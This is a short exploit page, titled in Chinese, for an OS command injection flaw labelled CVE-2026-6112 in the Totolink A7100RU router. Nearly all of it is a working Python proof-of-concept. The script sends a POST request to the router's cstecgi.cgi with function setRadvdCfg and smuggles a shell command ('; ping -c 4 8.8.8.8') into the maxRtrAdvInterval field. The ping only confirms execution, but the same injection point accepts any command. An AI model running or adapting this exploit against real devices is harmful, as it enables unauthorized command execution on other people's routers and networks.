CVE-2026-6112 Totolink A7100RU OS命令注入漏洞

import requests # Target URL (replace with actual target IP) target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Headers headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded", "Referer": "http://192.168.0.1/" } # Vulnerable payload: maxRtrAdvInterval parameter with command injection # Example payload: ;ping -c 4 8.8.8.8 data = { "function": "setRadvdCfg", "maxRtrAdvInterval": "10; ping -c 4 8.8.8.8" # Injection point } try: # Send POST request response = requests.post(target_url, headers=headers, data=data, timeout=5) # Check response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check your network monitor for ICMP traffic to 8.8.8.8 to verify execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")